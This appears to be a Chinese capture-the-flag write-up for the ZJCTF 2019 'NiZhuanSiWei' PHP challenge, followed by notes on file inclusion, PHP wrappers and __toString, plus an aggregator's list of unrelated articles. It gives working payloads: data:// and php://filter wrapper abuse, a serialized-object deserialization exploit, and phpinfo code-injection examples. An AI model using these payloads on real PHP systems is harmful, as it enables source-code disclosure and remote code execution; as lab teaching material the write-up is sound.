文件包含 [ZJCTF 2019]NiZhuanSiWei1

news2024/11/26 3:29:12

打开题目

代码审计

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){

首先isset函数检查text参数是否存在且不为空

用file_get_contents函数读取text制定的文件内容并与welcome to the zjctf进行强比较

 echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";

如果强比较相等的话,则输出text的内容

if(preg_match("/flag/",$file)){
        echo "Not now!";

如果强比较不相等的话,则检查文件内容是否包含/flag,如果包含,则输出Not now

}else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;

如果文件内容不包含/flag的话,file指定的文件包含到脚本中,这里提示了useless.php,然后对password的值进行反序列化,然后输出password的值

第一步

所以我们需要传入text文件值必须为welcome to the zjctf

1.用php://input协议以post传参的形式写入,

2.用data伪协议写入内容

welcome to the zjctf的base64编码为d2VsY29tZSB0byB0aGUgempjdGY=

payload:

http://127.0.0.1/include.php?file=data://text/plain,welcome to the zjctf
或者

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

传参后页面回显

第二步

我们用php://filter协议读取file下的useless.php的文件内容

这里我们需要注意用php://filter读取的文件内容是被base64加密后的内容

?file=php://filter/convert.base64-encode/resource=useless.php

和第一步的payload拼接一下即得到第二步的payload

payload:

?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

或者

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

页面回显

第三步

将上一步得到的useless.php的文件内容进行base64解码后得到

得到代码

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

代码审计

class Flag{  //flag.php  
    public $file; 

定义了一个名为Flag的类,然后file参数为公有属性,公共属性$file意味着任何地方都可以访问并修改它。

public function __tostring(){

在类中定义一个 _toString的方法,且设为公有属性,返回字符串信息

if(isset($this->file)){  
            echo file_get_contents($this->file);
            echo "<br>";

如果file的值不为null,输出文件包含下的file值

在第一次的代码审计中,我们需要将password的值进行反序列化操作

那我们可以在在本地搭建网站进行反序列化操作

<?php
 
class Flag{  //flag.php  
    public $file="flag.php";  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
$a=new Flag();
echo serialize($a);
?>

结果为

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

三步的payload拼接一下即可得到最后的payload

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

或者

?text=data://text/plain,welcome to the zjctf&file=useless.php&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

查看源代码得到flag

 

知识点:

  • 什么是文件包含漏洞?

和SQL注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行

以PHP为例,常用的文件包含函数有以下四种

    require():找不到被包含的文件会产生致命错误,并停止脚本运行
    include():找不到被包含的文件只会产生警告,脚本继续执行
    require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
    include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
 

  • php伪协议

php://filter用于读取源码。
php://input用于执行php代码。

  • php isset函数

isset() 函数检查变量是否被设置,这意味着它必须被声明并且不为 NULL。

  • php file_get_contents函数

 将整个文件读入一个字符串

碰到file_get_contents()就要想到用php://input绕过,因为php伪协议也是可以利用http协议的,即可以使用POST方式传数据。php://input用于执行php代码。

  • php://input

可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。

  • data://

数据流封装器,以传递相应格式的数据。可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行

          实例用法

                  1、data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
 
                   2、data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

  • php://filter

对本地磁盘文件进行读写,php://filter读取php文件时候需要base64编码

         实例用法:

php://filter/read=convert.base64-encode/resource=[文件名]
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php
http://127.0.0.1/include.php?file=php://filter/convert.base64-encode/resource=phpinfo.php
效果一样的

  • php类定义 class关键词

图源:PHP 面向对象 | 菜鸟教程

类的基本概念

  • 以关键词class开头,后面跟着类名,类名后面跟着一对花括号,里面包含有类的属性、方法的定义。
  • 类名:由字母、数字、下划线组成。字母或下划线开头。
  • 一个类里包含有自己的常量,类的属性(变量),类的方法(函数)。

  • php public关键词

public 关键字是访问修饰符。 它将属性或方法标记为公共。

任何可以访问对象的代码都可以使用公共属性和方法。公共属性意味着任何地方都可以访问并修改它。

  • php  _toString魔术方法

__toString()是快速获取对象的字符串信息的便捷方式

当我们调试程序时,需要知道是否得出正确的数据。比如打印一个对象时,看看这个对象都有哪些属性,其值是什么,如果类定义了toString方法,就能在测试时,echo打印对象体,对象就会自动调用它所属类定义的toString方法,格式化输出这个对象所包含的数据。使用__toString() 时返回值一定要使用return 来进行返回

__toString() 方法用于一个类被当成字符串时应怎样回应

而function _tostring 就是在类中定义一个 _toString的方法

参考文章;PHP魔术方法之 __toString()-CSDN博客

 

知识点选自:

【精选】PHP伪协议详解-CSDN博客

文件包含漏洞全面详解_caker丶的博客-CSDN博客

【精选】文件包含&PHP伪协议利用_file_get_contents()支持的协议-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1190619.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ByteBuf和ByteBuffer

一、背景简介 ByteBuf&#xff0c;顾名思义&#xff0c;就是字节缓冲区&#xff0c;是Netty中非常重要的一个组件。熟悉jdk NIO的同学应该知道ByteBuffer&#xff0c;正是因为jdk原生ByteBuffer使用比较复杂&#xff0c;某些场景下性能不是太好&#xff0c;netty开发团队重新设…

QT QSplitter

分裂器QSplitter类提供了一个分裂器部件。和QBoxLayout类似&#xff0c;可以完成布局管理器的功能,但是包含在它里面的部件,默认是可以随着分裂器的大小变化而变化的。 比如一个按钮放在布局管理器中,它的垂直方向默认是不会被拉伸的,但是放到分裂器中就可以被拉伸。还有一点不…

多篇论文介绍-摘要

论文地址https://arxiv.org/pdf/2301.10051.pdf 目录 01CIEFRNet&#xff1a;面向高速公路的抛洒物检测算法 02改进 YOLOv5 的 PDC 钻头复合片缺损识别 03 基于SimAM注意力机制的DCN-YOLOv5水下目标检测 04 基于改进YOLOv7-tiny 算法的输电线路螺栓缺销检测 ​编辑05 基于改进Y…

jquery的项目,html页面使用vue3 +element Plus

vue3&#xff0c;element引入 <script src"../vue3.3.8/vue.global.js"></script> <link rel"stylesheet" href"js/elementPlus/index.css"> <script src"js/elementPlus/index.full.js"></script>…

Linux友人帐之网络编程基础NFS服务器

一、概述 1.1NFS基础概念 NFS服务器&#xff08;Network File System&#xff09;是一种网络文件系统协议&#xff0c;它允许不同计算机之间共享文件系统中的文件。它是一种专门用于在网络上共享文件和目录的服务器。NFS服务器可以把本地的文件系统目录通过网络共享给其它计算…

【C++】——类与对象(一)

&#x1f383;个人专栏&#xff1a; &#x1f42c; 算法设计与分析&#xff1a;算法设计与分析_IT闫的博客-CSDN博客 &#x1f433;Java基础&#xff1a;Java基础_IT闫的博客-CSDN博客 &#x1f40b;c语言&#xff1a;c语言_IT闫的博客-CSDN博客 &#x1f41f;MySQL&#xff1a…

Python tkinter实现复刻Windows记事本UI和菜单的文本编辑器(一)

下一篇&#xff1a;Python tkinter实现复刻Windows记事本UI和菜单的文本编辑器&#xff08;二&#xff09;-CSDN博客 介绍&#xff1a; Windows操作系统中自带了一款记事本应用程序&#xff0c;通常用于记录文字信息&#xff0c;具有简单文本编辑功能。Windows的记事本可以新…

LoadRunner脚本编写之二

下面来回顾一下嵌套循环例子。 Action() {int i,j; //生命两个变量for (i1;i<5;i) //第一重循环&#xff0c;循环5次{if (i3) break; //当i等于3时&#xff0c;跳出本重循环elselr_output_message("i%d",i); //否则&#xff0c;输入i的值for (j1;j<…

效率提升75%!要做矩阵号,更要做好矩阵号管理

在如今的信息数字化时代&#xff0c;面对竞争日趋激烈的市场&#xff0c;数字化转型成为了企业提高效率和竞争力、实现可持续发展的重要手段。 这一两年来&#xff0c;我们也发现&#xff0c;越来越多的品牌企业开始探索数字化转型的实践&#xff0c;通过使用自建或者采买的数据…

Spring Task定时任务框架

二十四、Spring Task 24.1 介绍 Spring Task 是Spring框架提供的任务调度工具&#xff0c;可以按照约定的时间自动执行某个代码逻辑。 定位&#xff1a;定时任务框架 作用&#xff1a;定时自动执行某段Java代码 为什么要在Java程序中使用Spring Task&#xff1f; 应用场景…

linux系统,确认账户密码正确

linux系统&#xff0c;确认账户密码正确 1、问题背景2、解决方法 1、问题背景 有时在linux系统安装软件时&#xff0c;有的软件可能会在安装过程中创建系统用户&#xff0c;同时会给出这个用户的密码。过了一段时间我们不确定这个密码是否还正确&#xff0c;那怎么确认这个密码…

大数据-玩转数据-Flume

一、Flume简介 Flume提供一个分布式的,可靠的,对大数据量的日志进行高效收集、聚集、移动的服务,Flume只能在Unix环境下运行。Flume基于流式架构,容错性强,也很灵活简单。Flume、Kafka用来实时进行数据收集,Spark、Flink用来实时处理数据,impala用来实时查询。二、Flume…

深度学习中的图像增强合集

引言 图像增强是我们在深度学习领域中绕不开的一个话题&#xff0c;本文我们将讨论什么是图像增强&#xff0c;并在三个不同的 python 库中实现它&#xff0c;即 Keras、Pytorch 和 augmentation&#xff08;专门用于图像增强的一个库&#xff09;。所以第一个问题就是什么是图…

基于Python的书籍数据采集与可视化分析系统

温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长 Wechat / QQ 名片 :) 1. 项目简介 基于Python的书籍数据采集与可视化分析系统旨在挖掘和分析海量图书数据背后的规律和趋势&#xff0c;为读者、出版商和数据分析师提供更深入的洞察和辅助决策。本系统依托于某瓣庞大的图书…

UT代码编译至build文件夹

得克萨斯大学奥斯汀分校代码&#xff1a;代码文件按照网上很多的做法是直接**cmake .****make**则会出现以下的内容&#xff1a;但是这样做未免有些杂乱&#xff0c;会将编译生成的Makefile和其他数据文件全部存放在utaustinvilla3d-master下&#xff0c;比较杂乱。根据我们编译…

VINS-Mono-后端优化 (二:预积分残差雅可比推导)

文章目录 对位置 δ α \delta\alpha δα 进行求导位置误差 δ α \delta\alpha δα 对平移 P b k w P^{w}_{b_{k}} Pbk​w​ 的求导位置 δ α \delta\alpha δα 对旋转 R w b k R^{b_{k}}_{w} Rwbk​​ 进行求导 对速度 δ β \delta\beta δβ 进行求导速度 δ β…

你别说,还真好用,Apipost-IDEA插件

写完代码还得重复打字编写接口文档&#xff1f;代码量大定位接口定义方法太难找&#xff1f;麻烦&#xff01;写完代码还得复制粘贴到postman进行调试&#xff1f; 这三点太麻烦&#xff1f;今天给大家推荐一款IDEA插件&#xff0c;写完代码IDEA内一键生成API文档&#xff0c;…

Sui学术研究奖公布,资助研究者探索人工智能、能源市场和区块链游戏

Sui基金会高兴地宣布首轮Sui学术研究奖&#xff08;SARAs&#xff09;的获奖者。SARAs计划提供资助&#xff0c;支持推动Sui区块链技术的研究。学术和研究界对我们的初次征集呈现出大量高质量的提案。 已接受的九个提案涵盖了各种主题&#xff0c;如token经济学、智能合约机制…

Modbus协议简介及模拟环境搭建

Modbus协议是一种已广泛应用于当今工业控制领域的通用通讯协议&#xff0c;Modbus 是MODICON公司&#xff08;现为施耐德电气公司的一个品牌&#xff09;最先倡导的一种软的通讯规约。 通过此协议&#xff0c;控制器相互之间、或控制器经由网络(如以太网)可以和其它设备之间进…

Kakao账号如何注册使用?如何Kakao多开?外贸必备全面教程

Kakao是目前韩国地区最流行的通讯生活服务软件&#xff0c;相当于我们国内的微信&#xff0c;如果您的业务正准备或者正在进军这个区域&#xff0c;那么少不了需要注册并使用这个平台&#xff0c;甚至需要Kakao多开&#xff08;多账号同时管理与使用&#xff09;&#xff0c;本…